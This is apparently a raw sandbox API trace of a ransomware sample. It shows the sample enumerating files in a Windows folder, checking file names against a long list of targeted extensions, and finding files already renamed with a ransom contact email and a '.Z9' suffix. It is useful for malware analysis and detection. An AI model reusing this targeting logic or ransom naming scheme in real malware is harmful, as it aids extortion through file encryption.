	[0070.156] lstrlenW (lpString=".emf") returned 4
	[0070.156] lstrcmpiW (lpString1=".emf", lpString2="].Z9") returned -1
	[0070.156] lstrlenW (lpString=".emz") returned 4
	[0070.156] lstrcmpiW (lpString1=".emz", lpString2="].Z9") returned -1
	[0070.156] lstrlenW (lpString=".epf") returned 4
	[0070.156] lstrcmpiW (lpString1=".epf", lpString2="].Z9") returned -1
	[0070.156] lstrlenW (lpString=".eps") returned 4
	[0070.156] lstrcmpiW (lpString1=".eps", lpString2="].Z9") returned -1
	[0070.156] lstrlenW (lpString=".epsf") returned 5
	[0070.156] lstrcmpiW (lpString1=".epsf", lpString2="m].Z9") returned -1
	[0070.156] lstrlenW (lpString=".epsp") returned 5
	[0070.156] lstrcmpiW (lpString1=".epsp", lpString2="m].Z9") returned -1
	[0070.156] lstrlenW (lpString=".erf") returned 4
	[0070.156] lstrcmpiW (lpString1=".erf", lpString2="].Z9") returned -1
	[0070.156] lstrlenW (lpString=".exr") returned 4
	[0070.156] lstrcmpiW (lpString1=".exr", lpString2="].Z9") returned -1
	[0070.156] lstrlenW (lpString=".f4v") returned 4
	[0070.156] lstrcmpiW (lpString1=".f4v", lpString2="].Z9") returned -1
	[0070.156] lstrlenW (lpString=".fido") returned 5
	[0070.156] lstrcmpiW (lpString1=".fido", lpString2="m].Z9") returned -1
	[0070.156] lstrlenW (lpString=".flm") returned 4
	[0070.156] lstrcmpiW (lpString1=".flm", lpString2="].Z9") returned -1
	[0070.156] lstrlenW (lpString=".flv") returned 4
	[0070.156] lstrcmpiW (lpString1=".flv", lpString2="].Z9") returned -1
	[0070.156] lstrlenW (lpString=".frm") returned 4
	[0070.156] lstrcmpiW (lpString1=".frm", lpString2="].Z9") returned -1
	[0070.156] lstrlenW (lpString=".fxg") returned 4
	[0070.156] lstrcmpiW (lpString1=".fxg", lpString2="].Z9") returned -1
	[0070.156] lstrlenW (lpString=".geo") returned 4
	[0070.156] lstrcmpiW (lpString1=".geo", lpString2="].Z9") returned -1
	[0070.156] lstrlenW (lpString=".gif") returned 4
	[0070.156] lstrcmpiW (lpString1=".gif", lpString2="].Z9") returned -1
	[0070.156] lstrlenW (lpString=".grs") returned 4
	[0070.156] lstrcmpiW (lpString1=".grs", lpString2="].Z9") returned -1
	[0070.156] lstrlenW (lpString=".gz") returned 3
	[0070.156] lstrcmpiW (lpString1=".gz", lpString2=".Z9") returned -1
	[0070.157] lstrlenW (lpString=".h") returned 2
	[0070.157] lstrcmpiW (lpString1=".h", lpString2="Z9") returned -1
	[0070.157] lstrlenW (lpString=".hdr") returned 4
	[0070.157] lstrcmpiW (lpString1=".hdr", lpString2="].Z9") returned -1
	[0070.157] lstrlenW (lpString=".hpp") returned 4
	[0070.157] lstrcmpiW (lpString1=".hpp", lpString2="].Z9") returned -1
	[0070.157] lstrlenW (lpString=".hta") returned 4
	[0070.157] lstrcmpiW (lpString1=".hta", lpString2="].Z9") returned -1
	[0070.157] lstrlenW (lpString=".htc") returned 4
	[0070.157] lstrcmpiW (lpString1=".htc", lpString2="].Z9") returned -1
	[0070.157] lstrlenW (lpString=".htm") returned 4
	[0070.157] lstrcmpiW (lpString1=".htm", lpString2="].Z9") returned -1
	[0070.157] lstrlenW (lpString=".html") returned 5
	[0070.157] lstrcmpiW (lpString1=".html", lpString2="m].Z9") returned -1
	[0070.157] lstrlenW (lpString=".icb") returned 4
	[0070.157] lstrcmpiW (lpString1=".icb", lpString2="].Z9") returned -1
	[0070.157] lstrlenW (lpString=".ics") returned 4
	[0070.157] lstrcmpiW (lpString1=".ics", lpString2="].Z9") returned -1
	[0070.157] lstrlenW (lpString=".iff") returned 4
	[0070.157] lstrcmpiW (lpString1=".iff", lpString2="].Z9") returned -1
	[0070.157] lstrlenW (lpString=".inc") returned 4
	[0070.157] lstrcmpiW (lpString1=".inc", lpString2="].Z9") returned -1
	[0070.157] lstrlenW (lpString=".indd") returned 5
	[0070.157] lstrcmpiW (lpString1=".indd", lpString2="m].Z9") returned -1
	[0070.157] lstrlenW (lpString=".ini") returned 4
	[0070.157] lstrcmpiW (lpString1=".ini", lpString2="].Z9") returned -1
	[0070.157] lstrlenW (lpString=".iqy") returned 4
	[0070.157] lstrcmpiW (lpString1=".iqy", lpString2="].Z9") returned -1
	[0070.157] lstrlenW (lpString=".j2c") returned 4
	[0070.157] lstrcmpiW (lpString1=".j2c", lpString2="].Z9") returned -1
	[0070.157] lstrlenW (lpString=".j2k") returned 4
	[0070.157] lstrcmpiW (lpString1=".j2k", lpString2="].Z9") returned -1
	[0070.157] lstrlenW (lpString=".java") returned 5
	[0070.157] lstrcmpiW (lpString1=".java", lpString2="m].Z9") returned -1
	[0070.157] lstrlenW (lpString=".jp2") returned 4
	[0070.157] lstrcmpiW (lpString1=".jp2", lpString2="].Z9") returned -1
	[0070.158] lstrlenW (lpString=".jpc") returned 4
	[0070.158] lstrcmpiW (lpString1=".jpc", lpString2="].Z9") returned -1
	[0070.158] lstrlenW (lpString=".jpe") returned 4
	[0070.158] lstrcmpiW (lpString1=".jpe", lpString2="].Z9") returned -1
	[0070.158] lstrlenW (lpString=".jpeg") returned 5
	[0070.158] lstrcmpiW (lpString1=".jpeg", lpString2="m].Z9") returned -1
	[0070.158] lstrlenW (lpString=".jpf") returned 4
	[0070.158] lstrcmpiW (lpString1=".jpf", lpString2="].Z9") returned -1
	[0070.158] lstrlenW (lpString=".jpg") returned 4
	[0070.158] lstrcmpiW (lpString1=".jpg", lpString2="].Z9") returned -1
	[0070.158] lstrlenW (lpString=".jpx") returned 4
	[0070.158] lstrcmpiW (lpString1=".jpx", lpString2="].Z9") returned -1
	[0070.158] lstrlenW (lpString=".js") returned 3
	[0070.158] lstrcmpiW (lpString1=".js", lpString2=".Z9") returned -1
	[0070.158] lstrlenW (lpString=".jsf") returned 4
	[0070.158] lstrcmpiW (lpString1=".jsf", lpString2="].Z9") returned -1
	[0070.158] lstrlenW (lpString=".json") returned 5
	[0070.158] lstrcmpiW (lpString1=".json", lpString2="m].Z9") returned -1
	[0070.158] lstrlenW (lpString=".jsp") returned 4
	[0070.158] lstrcmpiW (lpString1=".jsp", lpString2="].Z9") returned -1
	[0070.158] lstrlenW (lpString=".kdc") returned 4
	[0070.158] lstrcmpiW (lpString1=".kdc", lpString2="].Z9") returned -1
	[0070.158] lstrlenW (lpString=".kmz") returned 4
	[0070.158] lstrcmpiW (lpString1=".kmz", lpString2="].Z9") returned -1
	[0070.158] lstrlenW (lpString=".kwm") returned 4
	[0070.158] lstrcmpiW (lpString1=".kwm", lpString2="].Z9") returned -1
	[0070.158] lstrlenW (lpString=".lasso") returned 6
	[0070.158] lstrcmpiW (lpString1=".lasso", lpString2="om].Z9") returned -1
	[0070.158] lstrlenW (lpString=".lbi") returned 4
	[0070.158] lstrcmpiW (lpString1=".lbi", lpString2="].Z9") returned -1
	[0070.158] lstrlenW (lpString=".lgf") returned 4
	[0070.158] lstrcmpiW (lpString1=".lgf", lpString2="].Z9") returned -1
	[0070.158] lstrlenW (lpString=".lgp") returned 4
	[0070.158] lstrcmpiW (lpString1=".lgp", lpString2="].Z9") returned -1
	[0070.158] lstrlenW (lpString=".log") returned 4
	[0070.158] lstrcmpiW (lpString1=".log", lpString2="].Z9") returned -1
	[0070.159] lstrlenW (lpString=".m1v") returned 4
	[0070.159] lstrcmpiW (lpString1=".m1v", lpString2="].Z9") returned -1
	[0070.159] lstrlenW (lpString=".m4a") returned 4
	[0070.159] lstrcmpiW (lpString1=".m4a", lpString2="].Z9") returned -1
	[0070.159] lstrlenW (lpString=".m4v") returned 4
	[0070.159] lstrcmpiW (lpString1=".m4v", lpString2="].Z9") returned -1
	[0070.159] lstrlenW (lpString=".max") returned 4
	[0070.159] lstrcmpiW (lpString1=".max", lpString2="].Z9") returned -1
	[0070.159] lstrlenW (lpString=".md") returned 3
	[0070.159] lstrcmpiW (lpString1=".md", lpString2=".Z9") returned -1
	[0070.159] lstrlenW (lpString=".mda") returned 4
	[0070.159] lstrcmpiW (lpString1=".mda", lpString2="].Z9") returned -1
	[0070.159] lstrlenW (lpString=".mdb") returned 4
	[0070.159] lstrcmpiW (lpString1=".mdb", lpString2="].Z9") returned -1
	[0070.159] lstrlenW (lpString=".mde") returned 4
	[0070.159] lstrcmpiW (lpString1=".mde", lpString2="].Z9") returned -1
	[0070.159] lstrlenW (lpString=".mdf") returned 4
	[0070.159] lstrcmpiW (lpString1=".mdf", lpString2="].Z9") returned -1
	[0070.159] lstrlenW (lpString=".mdw") returned 4
	[0070.159] lstrcmpiW (lpString1=".mdw", lpString2="].Z9") returned -1
	[0070.159] lstrlenW (lpString=".mef") returned 4
	[0070.159] lstrcmpiW (lpString1=".mef", lpString2="].Z9") returned -1
	[0070.159] lstrlenW (lpString=".mft") returned 4
	[0070.159] lstrcmpiW (lpString1=".mft", lpString2="].Z9") returned -1
	[0070.159] lstrlenW (lpString=".mfw") returned 4
	[0070.159] lstrcmpiW (lpString1=".mfw", lpString2="].Z9") returned -1
	[0070.159] lstrlenW (lpString=".mht") returned 4
	[0070.159] lstrcmpiW (lpString1=".mht", lpString2="].Z9") returned -1
	[0070.159] lstrlenW (lpString=".mhtml") returned 6
	[0070.159] lstrcmpiW (lpString1=".mhtml", lpString2="om].Z9") returned -1
	[0070.159] lstrlenW (lpString=".mka") returned 4
	[0070.160] lstrcmpiW (lpString1=".mka", lpString2="].Z9") returned -1
	[0070.160] lstrlenW (lpString=".mkidx") returned 6
	[0070.160] lstrcmpiW (lpString1=".mkidx", lpString2="om].Z9") returned -1
	[0070.160] lstrlenW (lpString=".mkv") returned 4
	[0070.160] lstrcmpiW (lpString1=".mkv", lpString2="].Z9") returned -1
	[0070.160] lstrlenW (lpString=".mos") returned 4
	[0070.160] lstrcmpiW (lpString1=".mos", lpString2="].Z9") returned -1
	[0070.160] lstrlenW (lpString=".mov") returned 4
	[0070.160] lstrcmpiW (lpString1=".mov", lpString2="].Z9") returned -1
	[0070.160] lstrlenW (lpString=".mp3") returned 4
	[0070.160] lstrcmpiW (lpString1=".mp3", lpString2="].Z9") returned -1
	[0070.160] lstrlenW (lpString=".mp4") returned 4
	[0070.160] lstrcmpiW (lpString1=".mp4", lpString2="].Z9") returned -1
	[0070.160] lstrlenW (lpString=".mpeg") returned 5
	[0070.160] lstrcmpiW (lpString1=".mpeg", lpString2="m].Z9") returned -1
	[0070.160] lstrlenW (lpString=".mpg") returned 4
	[0070.160] lstrcmpiW (lpString1=".mpg", lpString2="].Z9") returned -1
	[0070.160] lstrlenW (lpString=".mpv") returned 4
	[0070.160] lstrcmpiW (lpString1=".mpv", lpString2="].Z9") returned -1
	[0070.160] lstrlenW (lpString=".mrw") returned 4
	[0070.160] lstrcmpiW (lpString1=".mrw", lpString2="].Z9") returned -1
	[0070.160] lstrlenW (lpString=".msg") returned 4
	[0070.160] lstrcmpiW (lpString1=".msg", lpString2="].Z9") returned -1
	[0070.160] lstrlenW (lpString=".mxl") returned 4
	[0070.161] lstrcmpiW (lpString1=".mxl", lpString2="].Z9") returned -1
	[0070.161] lstrlenW (lpString=".myd") returned 4
	[0070.161] lstrcmpiW (lpString1=".myd", lpString2="].Z9") returned -1
	[0070.161] lstrlenW (lpString=".myi") returned 4
	[0070.161] lstrcmpiW (lpString1=".myi", lpString2="].Z9") returned -1
	[0070.161] lstrlenW (lpString=".nef") returned 4
	[0070.161] lstrcmpiW (lpString1=".nef", lpString2="].Z9") returned -1
	[0070.161] lstrlenW (lpString=".nrw") returned 4
	[0070.161] lstrcmpiW (lpString1=".nrw", lpString2="].Z9") returned -1
	[0070.161] lstrlenW (lpString=".obj") returned 4
	[0070.161] lstrcmpiW (lpString1=".obj", lpString2="].Z9") returned -1
	[0070.161] lstrlenW (lpString=".odb") returned 4
	[0070.161] lstrcmpiW (lpString1=".odb", lpString2="].Z9") returned -1
	[0070.161] lstrlenW (lpString=".odc") returned 4
	[0070.161] lstrcmpiW (lpString1=".odc", lpString2="].Z9") returned -1
	[0070.161] lstrlenW (lpString=".odm") returned 4
	[0070.161] lstrcmpiW (lpString1=".odm", lpString2="].Z9") returned -1
	[0070.161] lstrlenW (lpString=".odp") returned 4
	[0070.161] lstrcmpiW (lpString1=".odp", lpString2="].Z9") returned -1
	[0070.161] lstrlenW (lpString=".ods") returned 4
	[0070.161] lstrcmpiW (lpString1=".ods", lpString2="].Z9") returned -1
	[0070.161] lstrlenW (lpString=".oft") returned 4
	[0070.161] lstrcmpiW (lpString1=".oft", lpString2="].Z9") returned -1
	[0070.161] lstrlenW (lpString=".one") returned 4
	[0070.161] lstrcmpiW (lpString1=".one", lpString2="].Z9") returned -1
	[0070.161] lstrlenW (lpString=".onepkg") returned 7
	[0070.161] lstrcmpiW (lpString1=".onepkg", lpString2="com].Z9") returned -1
	[0070.161] lstrlenW (lpString=".onetoc2") returned 8
	[0070.161] lstrcmpiW (lpString1=".onetoc2", lpString2=".com].Z9") returned 1
	[0070.161] lstrlenW (lpString=".opt") returned 4
	[0070.161] lstrcmpiW (lpString1=".opt", lpString2="].Z9") returned -1
	[0070.161] lstrlenW (lpString=".oqy") returned 4
	[0070.161] lstrcmpiW (lpString1=".oqy", lpString2="].Z9") returned -1
	[0070.161] lstrlenW (lpString=".orf") returned 4
	[0070.161] lstrcmpiW (lpString1=".orf", lpString2="].Z9") returned -1
	[0070.161] lstrlenW (lpString=".p12") returned 4
	[0070.162] lstrcmpiW (lpString1=".p12", lpString2="].Z9") returned -1
	[0070.162] lstrlenW (lpString=".p7b") returned 4
	[0070.162] lstrcmpiW (lpString1=".p7b", lpString2="].Z9") returned -1
	[0070.162] lstrlenW (lpString=".p7c") returned 4
	[0070.162] lstrcmpiW (lpString1=".p7c", lpString2="].Z9") returned -1
	[0070.162] lstrlenW (lpString=".pam") returned 4
	[0070.162] lstrcmpiW (lpString1=".pam", lpString2="].Z9") returned -1
	[0070.162] lstrlenW (lpString=".pbm") returned 4
	[0070.162] lstrcmpiW (lpString1=".pbm", lpString2="].Z9") returned -1
	[0070.162] lstrlenW (lpString=".pct") returned 4
	[0070.162] lstrcmpiW (lpString1=".pct", lpString2="].Z9") returned -1
	[0070.162] lstrlenW (lpString=".pcx") returned 4
	[0070.162] lstrcmpiW (lpString1=".pcx", lpString2="].Z9") returned -1
	[0070.162] lstrlenW (lpString=".pdd") returned 4
	[0070.162] lstrcmpiW (lpString1=".pdd", lpString2="].Z9") returned -1
	[0070.162] lstrlenW (lpString=".pdf") returned 4
	[0070.162] lstrcmpiW (lpString1=".pdf", lpString2="].Z9") returned -1
	[0070.162] lstrlenW (lpString=".pdp") returned 4
	[0070.162] lstrcmpiW (lpString1=".pdp", lpString2="].Z9") returned -1
	[0070.162] lstrlenW (lpString=".pef") returned 4
	[0070.162] lstrcmpiW (lpString1=".pef", lpString2="].Z9") returned -1
	[0070.162] lstrlenW (lpString=".pem") returned 4
	[0070.162] lstrcmpiW (lpString1=".pem", lpString2="].Z9") returned -1
	[0070.162] lstrlenW (lpString=".pff") returned 4
	[0070.162] lstrcmpiW (lpString1=".pff", lpString2="].Z9") returned -1
	[0070.162] lstrlenW (lpString=".pfm") returned 4
	[0070.162] lstrcmpiW (lpString1=".pfm", lpString2="].Z9") returned -1
	[0070.162] lstrlenW (lpString=".pfx") returned 4
	[0070.162] lstrcmpiW (lpString1=".pfx", lpString2="].Z9") returned -1
	[0070.162] lstrlenW (lpString=".pgm") returned 4
	[0070.162] lstrcmpiW (lpString1=".pgm", lpString2="].Z9") returned -1
	[0070.162] lstrlenW (lpString=".php") returned 4
	[0070.162] lstrcmpiW (lpString1=".php", lpString2="].Z9") returned -1
	[0070.162] lstrlenW (lpString=".php3") returned 5
	[0070.163] lstrcmpiW (lpString1=".php3", lpString2="m].Z9") returned -1
	[0070.163] lstrlenW (lpString=".php4") returned 5
	[0070.163] lstrcmpiW (lpString1=".php4", lpString2="m].Z9") returned -1
	[0070.163] lstrlenW (lpString=".php5") returned 5
	[0070.163] lstrcmpiW (lpString1=".php5", lpString2="m].Z9") returned -1
	[0070.163] lstrlenW (lpString=".phtml") returned 6
	[0070.163] lstrcmpiW (lpString1=".phtml", lpString2="om].Z9") returned -1
	[0070.163] lstrlenW (lpString=".pict") returned 5
	[0070.163] lstrcmpiW (lpString1=".pict", lpString2="m].Z9") returned -1
	[0070.163] lstrlenW (lpString=".pl") returned 3
	[0070.163] lstrcmpiW (lpString1=".pl", lpString2=".Z9") returned -1
	[0070.163] lstrlenW (lpString=".pls") returned 4
	[0070.163] lstrcmpiW (lpString1=".pls", lpString2="].Z9") returned -1
	[0070.163] lstrlenW (lpString=".pm") returned 3
	[0070.163] lstrcmpiW (lpString1=".pm", lpString2=".Z9") returned -1
	[0070.163] lstrlenW (lpString=".png") returned 4
	[0070.163] lstrcmpiW (lpString1=".png", lpString2="].Z9") returned -1
	[0070.163] lstrlenW (lpString=".pnm") returned 4
	[0070.163] lstrcmpiW (lpString1=".pnm", lpString2="].Z9") returned -1
	[0070.163] lstrlenW (lpString=".pot") returned 4
	[0070.163] lstrcmpiW (lpString1=".pot", lpString2="].Z9") returned -1
	[0070.163] lstrlenW (lpString=".potm") returned 5
	[0070.163] lstrcmpiW (lpString1=".potm", lpString2="m].Z9") returned -1
	[0070.163] lstrlenW (lpString=".potx") returned 5
	[0070.163] lstrcmpiW (lpString1=".potx", lpString2="m].Z9") returned -1
	[0070.163] lstrlenW (lpString=".ppa") returned 4
	[0070.163] lstrcmpiW (lpString1=".ppa", lpString2="].Z9") returned -1
	[0070.163] lstrlenW (lpString=".ppam") returned 5
	[0070.163] lstrcmpiW (lpString1=".ppam", lpString2="m].Z9") returned -1
	[0070.163] lstrlenW (lpString=".ppm") returned 4
	[0070.163] lstrcmpiW (lpString1=".ppm", lpString2="].Z9") returned -1
	[0070.163] lstrlenW (lpString=".pps") returned 4
	[0070.163] lstrcmpiW (lpString1=".pps", lpString2="].Z9") returned -1
	[0070.163] lstrlenW (lpString=".ppsm") returned 5
	[0070.163] lstrcmpiW (lpString1=".ppsm", lpString2="m].Z9") returned -1
	[0070.163] lstrlenW (lpString=".ppt") returned 4
	[0070.164] lstrcmpiW (lpString1=".ppt", lpString2="].Z9") returned -1
	[0070.164] lstrlenW (lpString=".pptm") returned 5
	[0070.164] lstrcmpiW (lpString1=".pptm", lpString2="m].Z9") returned -1
	[0070.164] lstrlenW (lpString=".pptx") returned 5
	[0070.164] lstrcmpiW (lpString1=".pptx", lpString2="m].Z9") returned -1
	[0070.164] lstrlenW (lpString=".prn") returned 4
	[0070.164] lstrcmpiW (lpString1=".prn", lpString2="].Z9") returned -1
	[0070.164] lstrlenW (lpString=".ps") returned 3
	[0070.164] lstrcmpiW (lpString1=".ps", lpString2=".Z9") returned -1
	[0070.164] lstrlenW (lpString=".psb") returned 4
	[0070.164] lstrcmpiW (lpString1=".psb", lpString2="].Z9") returned -1
	[0070.164] lstrlenW (lpString=".psd") returned 4
	[0070.164] lstrcmpiW (lpString1=".psd", lpString2="].Z9") returned -1
	[0070.164] lstrlenW (lpString=".pst") returned 4
	[0070.164] lstrcmpiW (lpString1=".pst", lpString2="].Z9") returned -1
	[0070.164] lstrlenW (lpString=".ptx") returned 4
	[0070.164] lstrcmpiW (lpString1=".ptx", lpString2="].Z9") returned -1
	[0070.164] lstrlenW (lpString=".pub") returned 4
	[0070.164] lstrcmpiW (lpString1=".pub", lpString2="].Z9") returned -1
	[0070.164] lstrlenW (lpString=".pwm") returned 4
	[0070.164] lstrcmpiW (lpString1=".pwm", lpString2="].Z9") returned -1
	[0070.164] FindNextFileW (in: hFindFile=0x3121610, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34d81ed4, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34d81ed4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34df4673, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="OOBE_2~1.Z9")) returned 1
	[0070.164] FindNextFileW (in: hFindFile=0x3121610, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34a60d75, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34a60d75, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34a8d0be, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="PARTNE~1.Z9")) returned 1
	[0070.165] FindNextFileW (in: hFindFile=0x3121610, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34a60d75, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34a60d75, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34a8d0be, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="PARTNE~1.Z9")) returned 0
	[0070.165] FindClose (in: hFindFile=0x3121610 | out: hFindFile=0x3121610) returned 1
	[0070.252] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.252] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1
	[0070.252] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.252] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x34e66cb5, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121390
	[0070.252] FindNextFileW (in: hFindFile=0x3121390, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x34e66cb5, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.252] FindNextFileW (in: hFindFile=0x3121390, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1
	[0070.252] FindNextFileW (in: hFindFile=0x3121390, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34e4479a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34e4479a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34e66cb5, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="GETCUR~1.Z9")) returned 1
	[0070.252] lstrlenW (lpString="GetCurrentRollback.ini.id-B4197730.[help.me24@protonmail.com].Z9") returned 64
	[0070.252] lstrlenW (lpString=".1cd") returned 4
	[0070.252] lstrcmpiW (lpString1=".1cd", lpString2="].Z9") returned -1
	[0070.252] lstrlenW (lpString=".3ds") returned 4
	[0070.252] lstrcmpiW (lpString1=".3ds", lpString2="].Z9") returned -1
	[0070.252] lstrlenW (lpString=".3fr") returned 4
	[0070.252] lstrcmpiW (lpString1=".3fr", lpString2="].Z9") returned -1
	[0070.252] lstrlenW (lpString=".3g2") returned 4
	[0070.252] lstrcmpiW (lpString1=".3g2", lpString2="].Z9") returned -1
	[0070.252] lstrlenW (lpString=".3gp") returned 4
	[0070.252] lstrcmpiW (lpString1=".3gp", lpString2="].Z9") returned -1
	[0070.252] lstrlenW (lpString=".7z") returned 3
	[0070.253] lstrcmpiW (lpString1=".7z", lpString2=".Z9") returned -1
	[0070.253] lstrlenW (lpString=".accda") returned 6
	[0070.253] lstrcmpiW (lpString1=".accda", lpString2="om].Z9") returned -1
	[0070.253] lstrlenW (lpString=".accdb") returned 6
	[0070.253] lstrcmpiW (lpString1=".accdb", lpString2="om].Z9") returned -1
	[0070.253] lstrlenW (lpString=".accdc") returned 6
	[0070.253] lstrcmpiW (lpString1=".accdc", lpString2="om].Z9") returned -1
	[0070.253] lstrlenW (lpString=".accde") returned 6
	[0070.253] lstrcmpiW (lpString1=".accde", lpString2="om].Z9") returned -1
	[0070.253] lstrlenW (lpString=".accdt") returned 6
	[0070.253] lstrcmpiW (lpString1=".accdt", lpString2="om].Z9") returned -1
	[0070.253] lstrlenW (lpString=".accdw") returned 6
	[0070.253] lstrcmpiW (lpString1=".accdw", lpString2="om].Z9") returned -1
	[0070.253] lstrlenW (lpString=".adb") returned 4
	[0070.253] lstrcmpiW (lpString1=".adb", lpString2="].Z9") returned -1
	[0070.253] lstrlenW (lpString=".adp") returned 4
	[0070.253] lstrcmpiW (lpString1=".adp", lpString2="].Z9") returned -1
	[0070.253] lstrlenW (lpString=".ai") returned 3
	[0070.253] lstrcmpiW (lpString1=".ai", lpString2=".Z9") returned -1
	[0070.253] lstrlenW (lpString=".ai3") returned 4
	[0070.253] lstrcmpiW (lpString1=".ai3", lpString2="].Z9") returned -1
	[0070.253] lstrlenW (lpString=".ai4") returned 4
	[0070.253] lstrcmpiW (lpString1=".ai4", lpString2="].Z9") returned -1
	[0070.253] lstrlenW (lpString=".ai5") returned 4
	[0070.253] lstrcmpiW (lpString1=".ai5", lpString2="].Z9") returned -1
	[0070.253] lstrlenW (lpString=".ai6") returned 4
	[0070.253] lstrcmpiW (lpString1=".ai6", lpString2="].Z9") returned -1
	[0070.254] lstrlenW (lpString=".ai7") returned 4
	[0070.254] lstrcmpiW (lpString1=".ai7", lpString2="].Z9") returned -1
	[0070.254] lstrlenW (lpString=".ai8") returned 4
	[0070.254] lstrcmpiW (lpString1=".ai8", lpString2="].Z9") returned -1
	[0070.254] lstrlenW (lpString=".anim") returned 5
	[0070.254] lstrcmpiW (lpString1=".anim", lpString2="m].Z9") returned -1
	[0070.254] lstrlenW (lpString=".arw") returned 4
	[0070.254] lstrcmpiW (lpString1=".arw", lpString2="].Z9") returned -1
	[0070.254] lstrlenW (lpString=".as") returned 3
	[0070.254] lstrcmpiW (lpString1=".as", lpString2=".Z9") returned -1
	[0070.254] lstrlenW (lpString=".asa") returned 4
	[0070.254] lstrcmpiW (lpString1=".asa", lpString2="].Z9") returned -1
	[0070.254] lstrlenW (lpString=".asc") returned 4
	[0070.254] lstrcmpiW (lpString1=".asc", lpString2="].Z9") returned -1
	[0070.254] lstrlenW (lpString=".ascx") returned 5
	[0070.254] lstrcmpiW (lpString1=".ascx", lpString2="m].Z9") returned -1
	[0070.254] lstrlenW (lpString=".asm") returned 4
	[0070.254] lstrcmpiW (lpString1=".asm", lpString2="].Z9") returned -1
	[0070.254] lstrlenW (lpString=".asmx") returned 5
	[0070.254] lstrcmpiW (lpString1=".asmx", lpString2="m].Z9") returned -1
	[0070.254] lstrlenW (lpString=".asp") returned 4
	[0070.254] lstrcmpiW (lpString1=".asp", lpString2="].Z9") returned -1
	[0070.254] lstrlenW (lpString=".aspx") returned 5
	[0070.254] lstrcmpiW (lpString1=".aspx", lpString2="m].Z9") returned -1
	[0070.254] lstrlenW (lpString=".asr") returned 4
